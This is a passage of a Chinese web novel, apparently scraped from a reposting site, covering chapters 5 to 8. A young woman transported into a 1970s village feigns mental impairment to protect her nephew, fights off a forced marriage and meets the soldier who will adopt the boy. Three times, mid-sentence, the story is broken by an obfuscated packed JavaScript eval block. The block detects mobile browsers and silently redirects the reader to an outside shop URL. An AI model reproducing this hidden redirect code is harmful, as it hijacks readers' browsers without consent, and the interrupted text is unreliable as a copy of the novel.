舒瑜来到这里,看到的第一个人就是舒明淮,相处最多的也是他。 舒明淮需要舒瑜,舒瑜又何尝不需要他? 但这些话太“正常”,她说不了。 “好呀!好呀!” “小鱼喜欢和弟弟玩。” “小鱼要和弟弟永远在一起。” 舒瑜嘚啵嘚啵就开始哄小孩,好听话一出溜,几乎不需要思考,她很会哄人。 舒明淮听着,眼睛亮亮的,他虽然瘦,但五官优越,笑得很可爱。 永远在一起。 真好。 …… 俩人说走就走,明淮常去庄稼地边上割猪草,很熟悉路。 小路上,舒瑜跟着舒明淮,边走边观察着四周,想熟悉一下这里的环境。 远远地,前方有一个蹒跚的身影,朝着他们这边走来。 舒瑜没注意,走近些了才勉强看清是个面色憔悴的女人,对方头发凌乱,眼神呆滞无神,好像只是漫无目的地随便走着。 舒明淮看清了人,他拉住舒瑜,连忙道:“小姑,咱们换条道。” 舒瑜疑惑地点头:“好。” 他们要掉头回后头的岔路口。 “大山!娘的大山!”撕心裂肺的声音让舒瑜心头一震。 舒瑜还没搞清状况,舒明淮急道:“小姑,快走!” 只见不远处的女人竟然直勾勾地盯着舒明淮,眼神涣散又灼热,嘴里念念有词,声音嘶哑破碎:“大山!大山啊!娘找着你了!”她张开两只枯瘦的手,不管不顾地朝着他们跑过来。 舒瑜头皮一麻,想也没想,一把抄起脸色发白的舒明淮,将他瘦小的身子半夹半抱在怀里,扭头就往回跑。 假疯子不和真疯子斗。 舒瑜气喘吁吁,跑了老远,才把人甩开。 “妈呀,真吓人。”舒瑜心里庆幸着,还好自己跑得快。 “明淮,她是坏人吗?”舒瑜试探着问。 舒明淮 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这么想着,又暗叹一声可惜,这样的姑娘,十里八乡都有想着提亲的,这么一出事,也没人肯要了。 还不如自己的女儿,早早就有人要,好好嫁出去了,她教的多好,那丫头还懂得贴补娘家。 舒瑜可不知道有人在可惜自己嫁不出去,她认真地跟明淮学着怎么割猪草。 舒明淮本来就不是让舒瑜来干活的,但舒瑜哪好意思干站着。 “小鱼也要割猪草。” 见舒瑜坚持,舒明淮将小镰刀递过去:“那我们一人割一会儿。” 舒瑜点头,吭哧吭哧干起来。 两人交换着,割了一大篮子,轮到舒瑜的时候,明淮就蹲着,舒瑜去哪,他就蹲到哪。 这是舒明淮第一次觉得割猪草这么叫人开心。 他们都没去管旁边婶子们似有若无的视线和议论声。 午间的太阳大了,有些晒,猪草也割得差不多了,俩人准备回家去。 看两人的背影远去,聚在一起的婶子们声音才大起来。 “我瞧着,那舒家姑娘说话怎么跟个孩子似的。” “你不懂,有些人傻了就是这样的,隔壁村的那谁不也是,据说发烧烧傻了,就跟个孩子一样。” “也是,都是脑袋出问题了,可怜呐。” 回到家,把猪草处理了,没过多久,陈丽云也回来了,她匆匆忙忙进灶房做午饭,要赶在当家的回来之前做好,不然会耽误下午的上工。 陈丽云一人要做六个人的饭,心里烦得很,无数次在心里骂那两个吃干饭的。 已经得了好处的人,早忘了当初自己是怎么据理力争,让他俩留在自己家的。 午饭还是那点东西,舒瑜简单吃了半碗红薯饭,是和舒明淮是端着碗回他们房间吃的。 装了饭就走,吃完了碗放回灶房就回,与舒卫国一家没有半点交流。 反正她是傻子,谁和她计较,她就发疯。 舒瑜能看出来,舒卫国一家应该是不希望自己离开他们家的,记忆里陈丽云就算骂她,也是避开人的。 虽然不知道为什么,但至少她有所依仗。 5. 第五章 “小姑,我拾柴去了。”舒明淮穿好鞋子,对着床上闭着眼的舒瑜小声说道。 这些都是以前陈丽云交代他每天要做的事。 舒瑜不知道下午还有活要干,她这个午觉睡得很安逸,耳边有声音,她胡乱呓语:“唔……嗯嗯。” 舒明淮很懂事,见舒瑜困着,没有叫醒她,自己就背上竹筐出门了。 半小时后,舒瑜醒来,迷茫地环顾四周,发现房里只剩下她一个人。 “明淮?” 没有人应。 舒瑜隐约记起自己半梦半醒间,好像有人说捡柴火什么的。 也不知道明淮什么时候回来,她起身,打算出门看看。 舒瑜没敢乱走,怕一个人走得太偏,又遇到危险,便顺着上午那条通往农田的小路。 舒瑜眺望着两侧的田地,大家都弯着腰,手上动作不停,是在为春耕做准备。 到处都是忙碌的人,只有她这个“傻子”,能在路边闲逛,与这个世界格格不入。 “舒瑜!” 她心绪游离间,一道惊诧的声音叫住了她。 宋宇原本在地里施肥,手里那把长柄粪勺沉甸甸的,发酵后的农家肥臭味不重,但他心里还是接受不了的崩溃。 这活儿又脏又累,偏偏总是“分配”到他头上。 宋宇无数次在心底辱骂这些乡下人,却不敢真的反抗,毕竟因为那件事,被村支书当众开会批评后,他不仅被这些乡下人针对,连那些知青都若有似无的疏远甚至看不起他。 他憋屈得胸口发疼,一抬眼,竟看见田埂上站着个熟悉的身影。 是她!舒瑜! 宋宇在心底恶狠狠地咀嚼着这个名字,一边探头仔细望去,想瞧瞧她傻后的蠢样。 舒瑜就直愣愣地走过他,眼神望着远处,瞧着竟有几分清明? 宋宇心里猛地一跳:她好了?这傻子恢复正常了? 凭什么? 她凭什么好端端站在那儿,仿佛无事发生? 舒瑜把他害成这样,原本傻了就是老天在惩罚她,可她要是好了……这又算什么呢? 混合着不甘、嫉妒和长期压抑的愤恨猛地冲上心头,宋宇几乎下意识喊出声:“舒瑜!” “你不傻了?” 舒瑜一惊,随即不动神色地瞪向来人:“你才是傻子呢!” “小鱼可聪明了!” 舒瑜的反应在宋宇意料之外。 她瞪圆着一双眼睛,带着一种孩童般可笑的怒意。 宋宇满腔的愤恨戛然而止,取而代之的是一种奇异的极度舒爽的庆幸,夹杂着几分恶意的快慰。 哦,原来没好啊,还是那个傻子。 宋宇轻蔑地看了一眼舒瑜,转过身,继续一勺一勺地洒起肥料来。 只是那原本令他恶心的似有若无的臭味,好像也不那么难以忍受了。 舒瑜打量着宋宇的侧脸,只觉得这人格外的眼熟。 原主的记忆太零碎模糊,被袭击前的事更是完全记不起来,她脑子里最清晰的只有朝夕相处的家人,其他的只有见到人,她才能“解锁”这部分记忆。 她端详一阵,灵光一闪,模糊的记忆迷雾被拨开一部分。 是他,宋宇,去年城里过来的知情。 他怎么变成这样了,看起来憔悴狼狈很多,再没有那股城里人的高高在上了。 这人姓“宋”啊。 舒瑜垂下眼睛思索,终于将昨晚的噩梦和现实连接起来。 太巧了。 真实存在的“宋知青”,死过人的小树林,被重击后脑的她…… 只能回去问问先明淮了,再不行,她去试探一下宋卫国,舒瑜沉重地叹了口气。 离开前,舒瑜还不忘对着宋宇大声道:“好臭哦!” “这个大叔臭死了,小鱼要被臭死了!”说完,舒瑜捂着鼻子就跑。 连着三个“臭”字,让宋宇理智崩坏,他愤怒地回头,又被舒瑜捂着鼻子的动作气得脑袋充血。 宋宇手一挥,粪勺一松,掉进桶里,溅起一片肥水,他下意识叫了一声连连后退。 下一秒。 “呕——”宋宇总觉得有一滴掉进了他的嘴里,他胃里翻滚,连连呕吐。 跑走的舒瑜解了气,实在是宋宇那个鄙夷的目光太让人火大。 …… “弟弟,”舒瑜朝舒明淮挥手,“小鱼找你来了。” 舒明淮背着一筐树枝枯叶,沿着小路回家,低着头默默走路的他,听见那熟悉的声音,立马抬头望去。 十来米远处,小姑正笑着朝他走来。 舒明淮眼睛一亮,忙小跑过去,心底盈满了开心。 见明淮那小身板背着个竹筐磕磕绊绊地朝自己跑来,舒瑜心头一跳,连忙大步过去。 “小姑。”舒明淮惊喜地叫道。 舒瑜拎起竹背篓,将其从舒明淮背上脱下:“我来背,我力气最大。” 舒明淮抿唇,露出一点羞赧的微笑:“谢谢小姑。” 骗人的…… 她的力气其实一点也不大。 东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166296|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能说很重,但这具身体受过伤,失过血,又瘦又虚,走了这么多路,舒瑜喘气急促,肩膀也被麻绳勒得发疼。 半路明淮有提出换他来背,但舒瑜犟的很,不肯给他,舒明淮只能在一旁用手撑起背篓底部,给舒瑜分担一些重量。 其实舒瑜知道,这个年代,明淮这个年纪的孩子干活很正常,她一路走过田地,也看到不少孩子在地里劳动。 可她毕竟是现代过来的,她自己的孩童时代,家里亲戚的小孩,哪里干过这么多活,谁不是无忧无虑,要玩具有玩具,要零食有零食的。 但话说回来,她不会在意路边干活的小孩,心疼的也只有这么一个舒明淮。 明明只相处了一天。 也许是这个孩子望向她的眼睛太亮了,就好像她是他的全世界。 背篓重重地落地,舒瑜长舒一口气,抬手捏捏自己的肩膀,只感觉一阵刺痛。 但还好,能忍受。 把柴火挪进灶房,舒瑜回了房间直接躺下,为自己变成一个大脆皮而哀叹。 “小姑,吃糖。” 舒瑜眼前出现了一只捏着糖的小手,这不是她从明淮那要过来,又偷偷放回去的奶糖吗? “别不开心。” 舒瑜抬起小臂挡住眼睛。 这小孩真是的,干嘛这么懂事,干嘛要弄哭她。 舒瑜泪水滚烫,一部分是因为舒明淮,一部分是因为恐惧。 来到这里,舒瑜一直是害怕着的,她恐惧着这个陌生的时代,恐惧将来要面对的生活,也为未来而迷茫。 她一个人,到底何去何从。 可恶,舒瑜,你矫情什么?这破日子,过就完了! 很快,舒瑜悄悄抹去眼泪,收敛起突如其来的情绪,支起身体,向前抱住舒明淮:“谢谢明淮,弟弟最好了。” 最终,舒瑜又拧又折,费尽力气掰断了那颗奶糖,与舒明淮一人一半分了。 这日子过得,太有“滋味”了。 “娘,我们回来了。”舒明磊还没进门,就兴奋大喊,“今天老师还夸我了。” 陈丽云骄傲不已:“哎呀,我们明磊真棒!” 外头的声音很大,一直传到他们房间。 糖已经完全融化,甜蜜的滋味消失得很快,舒明淮垂着头,可能是在回味那短暂的甜味。 舒瑜摸摸舒明淮的脑袋:“明淮以后也可以上学的。” 舒瑜回忆书里的剧情,算了下时间,明淮的大佬养父应该快来了。 舒明淮眨眨眼,重重点头:“嗯!” 6. 第六章 “姐!”陈志鹏拎着一小块猪肉,边推门边喊,“你们吃了吗?” 陈丽云正在洗碗,听到弟弟的声音,飞快在围裙上蹭了几下手,迎出去。 “弟,你咋来了?”陈丽云很高兴,“快进来,快进来!” 陈志鹏挠头,憨笑道:“路过你们村,来看看你。” 陈丽云娘家离这边不算近,来来回回不是很方便,再加上每天要上工,也只有每逢过节能回去看看。 今天小弟上门,她高兴得很。 “姐,这块猪肉你拿去。” 陈丽云连连摆手,视线离不开那冒油的猪肉,推拒道:“姐哪能要你的东西,你拿回去给娘补补。” 虽然她也馋肉,更想让自己两个孩子有肉吃,但她这话倒是真心的。 她是家里最大的姑娘,她爹娘虽说重男轻女,可她这弟弟长大后对她们三个前头的姐姐可不差的。 小弟会关心她们干活累不累,还会在爹娘骂她们的时候说好话,所以她们姐妹仨把彩礼留给家里给小弟,也是心甘情愿的。 陈丽云完全没意识到,所谓的关心从来只是口头上的,陈志鹏哪里帮她们干过一点活。 陈志鹏见陈丽云又要来来回回推拒,面上有些不耐,却很快隐去。 陈志鹏心里恶意揣测:“最后还不是要假装不情不愿地收下,也不知道在装什么。” 要不是陈丽云对他还有用,陈志鹏半点都懒得过来。 陈志鹏直接将肉塞给陈丽云,转移话题道:“姐,我过来还想顺便跟你商量点事……” 陈志鹏将陈丽云拉到院子角落。 陈丽云听着耳边小弟特意压低的声音,先是疑惑,随后意识到小弟的真正目的,她的脸色瞬间沉了下来。 “不行!”陈丽云言辞激烈,“绝对不行!” 那傻子怎么配得上自己的弟弟,她弟弟可是在县里有正经工作的人,什么好姑娘娶不到啊! “姐!”陈志鹏没想到不仅家里爹娘不同意,连这个事事以他为重的大姐也拒绝他。 陈志鹏心里愤恨,他一定要娶到舒瑜,否则…… 陈丽云的态度很坚决,陈志鹏也不想和她撕破脸,便假装放弃:“行行行,姐,我知道了,当我没说吧。” 陈志鹏打算亲自去和舒卫国谈,他就不信,舒卫国不想把他的傻子妹妹嫁出去,实在不行,就多花点钱。 不过,还是得先说服爹娘,陈丽云肯定听娘的话。 无论如何,他一定要娶到舒瑜! 陈丽云忧心忡忡地送走陈志鹏,叹气:“这都什么事啊?” 房里,舒瑜可想不到有人在千方百计地想要娶她一个“傻子”。 她现在只想知道原身出事是不是真的和宋宇有关系,她昨晚的梦究竟是不是真的。 舒瑜假装不经意地说:“我今天遇到一个人。” “他叫‘宋宇’,弟弟你认识这个宋知青吗?” 听到“宋知青”三个字,舒明淮条件反射地露出厌恶的表情:“小姑,你不要理他。” “他是坏人!” “啊,为什么?” 舒明淮回想起那天,自己起床后却不见了爷爷,大伯说爷爷陪小姑在医院。 好久以后,他再见到他们,就是爷爷带着已经傻了的小姑回家。 那天后,他再没见爷爷笑过,还不止一次听到爷爷大伯他们在骂一个叫“宋宇”的人。 “爷爷说的,都是他害了小姑。” 舒瑜若有所思地点点头。 “小姑,你不要和他玩!”舒明淮不放心,再次叮嘱。 “嗯,我不和他玩,他可凶了,讨厌他!” 有了舒瑜的保证,舒明淮才安心下来。 -- 过了两天,陈志鹏又来了,这次他来得早,舒卫国一家还在吃晚饭。 陈志鹏前两天一直在想办法说服爹娘,这不,家里一同意,他就急不可耐地上门。 这回,他可是信誓旦旦,志在必得,俨然已经把舒瑜当做囊中之物了。 “姐夫。”陈志鹏笑着叫道,带着几分讨好。 陈丽云从陈志鹏一出现,便皱眉:“弟,你……” 陈志鹏直接忽视了陈丽云,岔开她的话:“姐夫,我有件事想和你谈谈。” 舒卫国有些奇怪,他这妻子口中顶顶出息的小舅子,能有啥事找他。 他放下碗:“你说。” 陈志鹏文绉绉地说:“姐夫,不瞒你说,我一直很喜欢舒瑜,想请你们把舒瑜嫁给我。”他前两年挣了不少钱,虽然文化不高,也自诩是个体面人。 陈丽云脸色铁青,舒卫国倒是一脸惊奇地打量了一番陈志鹏:“这……你也知道,她现在的情况……” “我不介意,我就是喜欢她。”陈志鹏满目深情,“傻了也喜欢。” 说着,他还自我感动地挤出了一抹泪。 舒卫国嘴角一抽,看向眼陈丽云:“你先和你姐谈谈吧。” 陈丽云闻言,板着脸起身,把陈志鹏拉到他们房里。 “你疯了吗?”陈丽云咬牙切齿,“你非要娶个傻子是吧?” “姐,”陈志鹏好声好气,压下对大姐的厌烦,“舒瑜又不是天生的傻子,你想想,她能高中毕业,说明她聪明呐!” “人又长得那么好,那以后生个又聪明又俊的孩子,我们陈家的后代准保不孬。”陈志鹏用说服爹娘的借口来说服陈丽云。 陈丽云被说懵了,转念一想,好像也有道理,主要是她看弟弟实在是喜欢,便沉默下来,开始动摇。 陈志鹏:“况且爹娘都同意了!” 也行吧,只要舒瑜给她弟生个聪明孩子。 这种恶心人的话也就舒瑜听不到,她要知道,非得发疯呼死陈家姐弟不可。 “你自己去说。”陈丽云摆摆手,留在屋里冷静。 回到饭桌前,陈志鹏在舒卫国对面坐下:“姐夫,我家里人都同意了,过两天我就请媒婆上门。” 舒卫国没说话,他看着外面逐渐暗下的天色,心情很复杂。 舒瑜是爹娘最疼爱的孩子,他们家唯一的女孩,他嫉妒过很多次,但、但……舒卫国犹豫又纠结。 “姐夫,我以后一定对舒瑜好。” “我家商量了,彩礼给一百五,嫁妆不要求多,意思一下就行。” 一百五? 舒卫国神色一动。 爹留给舒瑜的也不过一百二,他和舒卫民则一人一百。 “什么是彩礼啊?”舒瑜在门口听了一会,实在忍不住怒意,偏还要按着人设装傻,只能强压火气,问道。 好啊,这便宜大哥是要把她卖了啊! 舒瑜面对着两道视线,踏进门。 “小瑜,过来,”舒卫国下定了决心,“这是志鹏,你大嫂的弟弟。” “什么是彩礼?”舒瑜没看陈志鹏,只盯着舒卫国,非要他说清楚,这样她才好发作。 舒卫国撇开眼:“彩礼是好东西,你以后就去你志鹏哥家住了。” “每个女的都是这样的,别人给彩礼,你嫁出去。” “我懂了,你这个坏蛋想把我卖掉!”舒瑜尖叫,像个真正的疯子,“娘不会同意的,我要让娘骂你!” 娘…… 舒卫国面对舒瑜的质问,有些狼狈,艰难地咬牙道:“娘……已经死了。” 陈志鹏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166297|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直没说话,只是细细地打量舒瑜,眼神锐利得与他一直表现出来的温和模样判若两人。 “舒瑜,你还认识我吗?”陈志鹏仿佛是在打圆场,他轻声问道,视线却一直在舒瑜的脸上打转。 舒瑜闻言望去,一瞬间,汗毛竖起。 这人的眼睛和陈丽云很像,只是他那国字脸的长相很好地中和了他上挑的眼尾带来的精明,看着很憨厚温和。 可舒瑜看到他的第一眼,只觉得浑身发毛的,那畏惧感就像刻在她的心脏上,让她的心止不住地缩紧,狂跳。 在他近乎审视的目光下,舒瑜压制住生理上的恐惧。 她瞪着陈志鹏,手上却疯狂地把自己手中的两个碗接连朝他扔去,说出的话也混乱:“你们都是坏人,要把小鱼卖掉,打死你!打死你!”发着疯,舒瑜的精神却越发冷静。 陈志鹏闪身一躲,就听见陈丽云的尖叫声:“舒瑜!干啥呢你!发什么疯?” “姐,我没事。”陈志鹏被骂了,他看着舒瑜疯狂的模样,全然不似以前的温和腼腆,心情很好。 看这样子,舒瑜短时间应该不会好了,真希望她能永远乖乖地做个傻子。 可是,陈志鹏听他姐提起过,医生说舒瑜这种情况是有可能恢复记忆的,他不能冒这个险。 舒瑜回身一把推开陈丽云就往外跑。 舒卫国的怒吼混合着陈丽云摔倒的哀叫,一地混乱。 舒明淮听到动静从房间里跑出来,搞不懂发生了什么的他只能无措地拉住舒瑜的手。 “二伯娘,救命啊!”舒瑜见隔壁门敞开着,大声喊到。 何秀兰坐在饭桌前,没吃几口,侧着耳朵听隔壁的动静,见舒瑜叫自己,忙不迭地起身出门。 “小瑜,出啥事了。”何秀兰兴奋地问。 “他们要收嫁妆把我卖给大嫂弟弟。” 舒瑜说得颠三倒四的,何秀兰还是听懂了,她眼睛一转,佯装生气:“什么?” “大哥大嫂也太过分了!”把舒瑜嫁出去,爹留的钱和舒瑜的嫁妆全归他们大房,真是好心机啊! “何秀兰,这管你啥事!”陈丽云扶着腰瞪她。 何秀兰冷笑:“当家的,你快出来,你妹就要被卖了。” “你会不会说话,舒瑜嫁给我弟那是她赚了!” “我看是你们大房赚了吧?” 舒卫国:“弟妹你这话过分了。” 舒卫民也走到何秀兰身后,他是老实不会说话,但也不允许别人欺负他媳妇。 这下子他们舒家人全齐了,还添个外人陈志鹏。 “你们必须把舒瑜的彩礼分一半我们,还有爹留下的,全部对半分!” “我呸,何秀兰,你想钱想疯了吧?” “不同意?”何秀兰挑眉,“爹走之前可是特别叮嘱卫民了,如果大哥大嫂对舒瑜不好,我们可以把她接过来。”只可惜之前她没有抓到陈丽云这么大的把柄。 “或者我去告诉村支书,让他老人家来评评理,舒瑜不愿意你们还要硬把她嫁出去。”何秀兰洋洋得意地威胁,终于轮到她何秀兰出气了。 只要陈丽云不如意,她就高兴。 村支书徐大爷可是爹一辈子的好兄弟,爹死前特意麻烦徐大爷关照一下舒瑜姑侄,所以陈丽云从不敢在外面骂舒瑜他们,就怕传到村支书耳朵里,让二房把他们抢走。 大房二房互骂起来,舒瑜拉着舒明淮,面上做出一副生气的样子,私下冷眼瞧着这一出闹剧。 舒瑜忽的感觉到手心里的那只小手微微发颤,她低头,只见舒明淮依偎在她腿边,死死盯着眼前丑态百出的“亲人”。 舒瑜叹息,带着舒明淮离开。 7. 第七章 何秀兰与陈丽云的矛盾积压已久,闹到这份上,谁都不愿意退一步,最后只能不欢而散。 反正就那么僵持着,谁也没妥协。 陈志鹏倒是有些不甘心,事后又去找舒卫国,他讪笑着搓手:“那姐夫,你看我这……” 舒卫国拧着眉头摆摆手,不耐烦道:“你自己想办法,只要舒瑜自己同意,别人就不好说什么!” 陈志鹏嫌麻烦,没想到事情变得这么复杂,但他转念一想,哄个傻子有啥难的,不就给块糖的事嘛。 “行嘞,姐夫,我记着了,彩礼我都备好了,准保让舒瑜心甘情愿嫁给我。”他信誓旦旦地拍着胸口。 对于这个莫名其妙想要娶自己的陈志鹏,舒瑜凭借自己纵横刑侦剧多年的经验,心里有了计较。 这男人的眼神太不对劲了,再加上她这身体的本能反应…… 虽猜出了幕后凶手,可没有证据,她又有痴傻的经历,谁会相信她的一面之词,她说出去也只会打草惊蛇,说不定还会被诬蔑是对陈志鹏强娶自己的报复。 舒瑜不觉得陈志鹏会轻易放弃,她警惕了两天,陈志鹏都没有出现,却反而让她越发紧张。 -- 这天,晌午过后,村头那棵老树底下,照常聚着几个老大娘,一边手里忙活着,一边扯着家常里短,谁家有点事,都瞒不过她们的眼睛。 日头晒得人懒洋洋的,她们正说到兴头上,一道身影不紧不慢地出现在村口。 他在树荫边停下,朝着几位大娘的方向,声音不高不低:“几位大娘,打扰一下,请问舒卫华家往哪走?” 正唠嗑的老太太们停了话头,几双眼睛齐刷刷地打量过来。 来人身量很高,一身板正的军绿色外套,扣子扣得整整齐齐,不带一丝褶皱,身姿挺拔,步伐利落。 离得最近的那个满头银发的阿婆眯着眼仔细打量他,脸上堆起了笑:“哟,后生,去卫华家啊?你是他啥人?瞧着可真精神。” 旁边纳着鞋底的许大娘停下手中的伙计,也凑近了些:“这小伙子看着就板正。” “多大了?在哪工作呀?说媳妇了没?” 厉关岳脸上那抹温和的笑意未变,平静地迎向这些热切的目光,他微微颔首,语气依旧平稳客气:“我是卫华以前的战友,姓厉。” “这次顺路,过来看看他家人。” 厉关岳答得简洁,直接略过了私人问题,只道明了来意,可他周身温和的气场,倒也不让人觉得冷硬,大娘们只觉得这小伙子性格内敛。 没人注意那双眼睛里的神色很平静,没什么波澜,像井水一般深不见底。 提起舒卫华,有人唏嘘:“唉,卫华家啊,你顺着这路到那边右拐就是了。” 厉关岳瞧着大娘们的反应,眸光一动,微皱起眉头。 “多谢这位大娘。”他说着,垂眼叹息,像是回忆起往昔,又低声道:“卫华走前,最放心不下的就是家里的父亲和孩子……” 不用再多说什么,此话一出,大娘们有了新的话头,立刻七嘴八舌起来。 “卫华是个孝顺孩子,就是可惜了。” “是啊,你还不知道吧?卫华他爹,接受不了打击,也走了。”陈大娘叹气。 厉关岳没想到舒伯父也跟着去了,心口沉了沉。 他没再多问,只朝几位大娘点了点头:“多谢几位。”说罢,便转身便顺着她们指的方向大步离去。 厉关岳那点惯常挂在脸上的温和笑意淡了下去,他一路走,一路又问了两户人家,终于停在一处有些年头的土墙院前。 门关着,厉关岳叩门,没人应答,里头静悄悄的。 这个时间正是上工的时候,村里人大多在地里。 厉关岳沉默地等在门前,十来分钟后,他注意到旁边小路上走近的一高一矮两道身影。 他上前几步望去。 一个瘦小的男孩提着一个装满草的竹篮,身边跟着一个瘦弱的女人。 两人走到近前,抬头看见堵在自家门口的陌生人,都愣住了。 男人在身后低矮的土砖房的衬托下,更显高大,舒瑜和舒明淮站在他面前,一个矮小,一个瘦弱,像两棵没长好的脆弱小苗。 厉关岳的目光越过前面的舒瑜,直接落在了舒明淮脸上。 那张小脸晒得泛红,带着明显的营养不良,可那眉眼的轮廓,尤其抿着嘴不说话时那股倔强气,活脱脱就是缩小了几号的舒卫华。 厉关岳眼神凝了凝,肉眼可见地温和了几分,他什么也没说,只是向前走了两步,在舒明淮面前蹲了下来,收敛了他高大身躯带来的压迫感,视线与男孩齐平。 他看着舒明淮那双带着警惕和不安的黑眼睛,脸上重新浮起那种惯有的、让人放松的温和神色,声音也放得很低、很缓:“小朋友,你是明淮吗?” 我的天,大佬来了! 被晒蔫了的舒瑜瞬间提起了精神,忍不住眨眨眼睛,偷偷打量对方。 这人生得极好,眉眼疏朗,鼻梁高挺,唇角似乎天然带着点微微上扬的弧度,看着温和可亲,让人心生好感。 大佬竟然是这种风格的,看着竟然有点子斯文败类的感觉,光听名字,她还以为是那种不苟言笑的冷脸硬汉呢! 不管大佬什么性格,这脸和身材,是真顶啊! 明淮点点头,用力拉住舒瑜的手,不安地问:“你是谁?” 厉关岳勾唇一笑,抬手想要摸一摸“小舒卫华”的头,被明淮侧身躲开。 厉关岳收回手,笑道:“我是你爹的战友,你可以叫我‘厉叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166298|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叔’。” 提起他爹,舒明淮眼睛亮起来,也不躲人了:“我、我爹?” 舒明淮兴奋地晃了晃小姑的手,重复说:“小姑,他是我爹的战友哇!”这还是舒瑜第一次见舒明淮这样激动。 厉关岳起身,他随着舒明淮的动作,目光从舒明淮脸上移开,投向站在男孩身旁的年轻姑娘。 她瞧着不过十八九岁,身形单薄得厉害,肩膀窄窄的,套在身上的衣服空荡荡,估计一阵风就能吹跑她。 头发有些枯黄,没有好好梳理,就那么披散在肩头,额前几缕碎发被汗水黏在苍白的脸颊上,脸上也没什么肉,下巴尖尖的,显得那双眼睛格外大。 此刻,她正微微偏着头,睁着一双圆溜溜的眼睛,直直地看着他,她的眼底异常清澈,像是冬日里未融化的雪,干干净净,映着他的身影。 她也背着一个大竹筐,里面塞着满满的柴火,那过分清澈的目光,透出一种矛盾的怪异感。 这就是舒卫华总挂在嘴边的妹妹? 他那个聪明孝顺温柔体贴美丽大方……的妹妹。 他记得是叫……舒瑜。 厉关岳的视线很淡,还带着笑,舒瑜却打了一个激灵。 就算这人表现得再温和,她也不会被他迷惑,能在一本书里被称作“大佬”的,能是什么简单人物! 他可不像其他人那样好糊弄,必须直接给他来个大的! 舒瑜绽开一个大大的笑,夹子音重出江湖,她大声道:“厉叔叔好!” 看她的“升辈分攻击”! 厉关岳笑容一顿,眼中闪过几分错愕。 厉关岳到底是厉关岳,他很快恢复从容,问道:“明淮,你小姑她怎么了?” 难得有人关心他们,舒明淮有些想哭:“小姑她脑袋受伤了,爷爷说小姑可能会变好,也可能再也长不大了。” 舒瑜听着舒明淮的哭腔,心里难过得要死,她甚至有股冲动,要不直接把自己装傻的事告诉他们,看在哥哥的面子上,厉关岳一定会帮忙的。 可是,舒瑜还记得原书里提过,厉关岳本身是不喜欢小孩的,他是看舒明淮在老家备受压榨和欺凌,没人真的关心他,才决定收养明淮的。 如果他知道明淮还有亲人可以好好养育他,他会不会放弃收养的打算? 不是舒瑜不愿意养明淮,而是她连自己的前路都无比迷茫,哪里能养好一个孩子。 即使舒瑜舍不得,可做厉关岳的养子和做舒瑜的侄子,哪个对明淮来说更好,想都不用想。 至于明淮会不会和原著里一样,成为一个阴沉的大反派,舒瑜想着,她可以多去看看明淮,多给他写信,总有办法改变他的。 所以,还是不能说! 舒瑜面上笑着,心里一阵苦涩。 8. 第八章 舒卫华,你走得太早了。 厉关岳迎着刺眼的光线,睫毛低垂,掩去眼底的伤神,抬手摸了摸舒明淮有些扎手的短发。 这次,孩子没有躲他,只是仰着头,黑眼睛湿漉漉地望着他,里面有对父亲战友的好奇,和仿佛与生俱来的亲近。 舒明淮只觉得头顶的大手很暖很厚实,如果是别人,他会害怕会忍不住想躲。 他被很多人拍过头。 大伯母拍过,表哥舒明磊拍过,隔壁李小强也拍过。 他永远忘不了那个感觉,一只手毫无预兆地拍在他的头上,就算在梦里也如影随形。 可面前这个人,是他爹的战友啊,是和他爹一样的英雄。 这孩子,真的像极了舒卫华。 厉关岳晃了一下神,仿佛又看到那个晒得黝黑,笑起来总是露出一口大白牙的家伙。 他们是同一批入的伍,还分到一个宿舍。 厉关岳很清楚自己是个什么样的人,虚伪、冷漠,是生在骨子里的。 他早忘了和舒卫华说的第一句话是什么,也不记得对他第一眼的印象,因为那时的厉关岳眼里就没有别人。 可舒卫华那傻子,就因为自己在他出任务手臂受伤后随口关心了一句,闲着就无聊帮他写了封家书,那小子竟然就把他当做是可以交心的兄弟,掏心掏肺起来,家里几口人几亩地倒个一干二净,就差交代祖宗十八代。 又倔,又傻,还那么容易相信别人,这样一个人,却是他过命的兄弟。 厉关岳收回手,舒瑜那姑娘还在对他咧着嘴笑,笑容很大,看着空落落的。 舒卫华那家伙,可真会给他找麻烦啊。 舒瑜眨眨眼:发什么呆呢?怎么都傻站着的? 她的坏情绪去的快,肩上的背篓沉重:“弟弟,回家了。” 舒瑜略过厉关岳进门,像个直来直去,思维跳跃的孩子,把竹筐随手扔在院里,急着喝水去。 舒明淮:“厉叔叔,进屋坐。” 舒瑜倒了碗水,站在灶房门口”咕噜咕噜”喝着,一双莹润的眼睛悄咪咪关注着明淮和厉关岳的相处。 